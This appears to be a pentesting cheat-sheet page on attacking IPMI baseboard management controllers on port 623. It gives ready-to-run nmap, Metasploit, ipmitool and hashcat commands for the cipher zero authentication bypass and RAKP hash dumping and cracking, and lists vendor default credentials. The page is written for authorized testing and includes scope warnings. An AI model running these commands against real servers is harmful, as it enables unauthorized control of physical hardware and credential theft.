> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 623 - IPMI (Intelligent Platform Management Interface)

`Default Port: 623/UDP (occasionally also TCP)`

IPMI is the protocol behind out-of-band server management, the Baseboard Management Controller (BMC) it talks to runs independently of the host OS, which means it's reachable (and attackable) even when the server itself is powered off or completely locked down. Dell iDRAC, HP iLO, and Supermicro IPMI are all the same protocol underneath, and all three show up constantly with weak or default credentials in real environments.

> **Cipher Zero Bypass**
>
> A flaw in IPMI 2.0's authentication negotiation lets an attacker skip authentication entirely on vulnerable firmware, no credentials needed at all.

> **RAKP Hash Disclosure**
>
> IPMI 2.0's authentication handshake leaks a password hash to anyone who asks, before authentication even succeeds, making offline cracking possible without any valid credentials first.

> [!TIP]
>
> A BMC is management hardware, not a general-purpose server. If you get in, you're not just reading data, you have chassis power control, remote console/KVM access, and often virtual media mounting, enough to fully compromise the physical host.

***

## Recon

```bash theme={null}
sudo nmap -sU -p623 --script ipmi-version TARGET
```

Running every IPMI-related NSE script at once covers version detection, the cipher zero check, and brute-forcing in a single pass:

```bash theme={null}
sudo nmap -sU -p623 --script "ipmi-*" TARGET
```

```bash theme={null}
use auxiliary/scanner/ipmi/ipmi_version
set RHOSTS TARGET
run
```

***

## Cipher Zero Authentication Bypass

> [!WARNING]
>
> A positive result here means full administrative access with no credentials at all. Treat it as a critical finding and stop to assess impact before going further.

IPMI 2.0 supports a "cipher type 0" authentication mode that, on vulnerable firmware, accepts a session with no real authentication check at all.

```bash theme={null}
sudo nmap -sU -p623 --script ipmi-cipher-zero TARGET
```

```bash theme={null}
use auxiliary/scanner/ipmi/ipmi_cipher_zero
set RHOSTS TARGET
run
```

If vulnerable, `ipmitool` can connect directly using cipher 0, blank credentials included:

```bash theme={null}
ipmitool -I lanplus -H TARGET -U '' -P '' -C 0 chassis status
```

> [!WARNING]
>
> On vulnerable firmware, cipher zero doesn't just allow read access, it allows writes too, including resetting user passwords outright. Confirm scope before testing beyond a read-only command like `chassis status`.

***

## RAKP Hash Disclosure and Cracking

Even without the cipher zero flaw, IPMI 2.0's RAKP authentication handshake discloses a password hash to any client that requests one, before the password itself is ever verified. No valid credentials are needed to pull the hash.

```bash theme={null}
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS TARGET
run
```

```bash theme={null}
hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
```

> [!TIP]
>
> A dictionary attack is worth trying before the brute-force mask above, it's far faster when the password isn't fully random:
>
> ```bash theme={null}
> hashcat -m 7300 ipmi.txt rockyou.txt
> ```

***

## Default Credentials

BMC firmware ships with vendor-specific defaults far more often than general-purpose server software does, these are worth testing before any cracking attempt.

| Product | Username | Password |
| - | - | - |
| Dell iDRAC | `root` | `calvin` |
| HP iLO | `Administrator` | randomized 8-character string (numbers + uppercase) |
| Supermicro IPMI | `ADMIN` | `ADMIN` |
| IBM IMM | `USERID` | `PASSW0RD` (zero, not letter O) |
| Fujitsu iRMC | `admin` | `admin` |
| Oracle/Sun ILOM | `root` | `changeme` |
| ASUS iKVM BMC | `admin` | `admin` |

> [!NOTE]
>
> HP iLO's randomized default isn't guessable, but it's frequently left unrotated from whatever shipped on the physical hardware, worth checking asset labels or documentation if you have physical or procurement access during an engagement.

***

## Interacting via ipmitool

Once you have valid credentials (or a cipher zero bypass), `ipmitool` is the standard way to actually interact with the BMC.

```bash theme={null}
ipmitool -I lanplus -H TARGET -U USER -P PASS chassis status
ipmitool -I lanplus -H TARGET -U USER -P PASS user list 1
```

> [!WARNING]
>
> `ipmitool` can also control the physical machine directly, `chassis power off`, `chassis power reset`, and similar commands take real, immediate effect on the hardware. Never run power or reset commands outside of an explicitly approved maintenance window.

***

## Quick Reference Tools

> **[HackTricks: IPMI](https://hacktricks.wiki/en/network-services-pentesting/623-udp-ipmi.html)**
>
> Deeper breakdown of IPMI enumeration and exploitation techniques.

> [!WARNING]
>
> IPMI grants control over physical hardware, not just data. Power, reset, and credential-reset actions have real-world consequences, confirm scope before going beyond passive enumeration.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.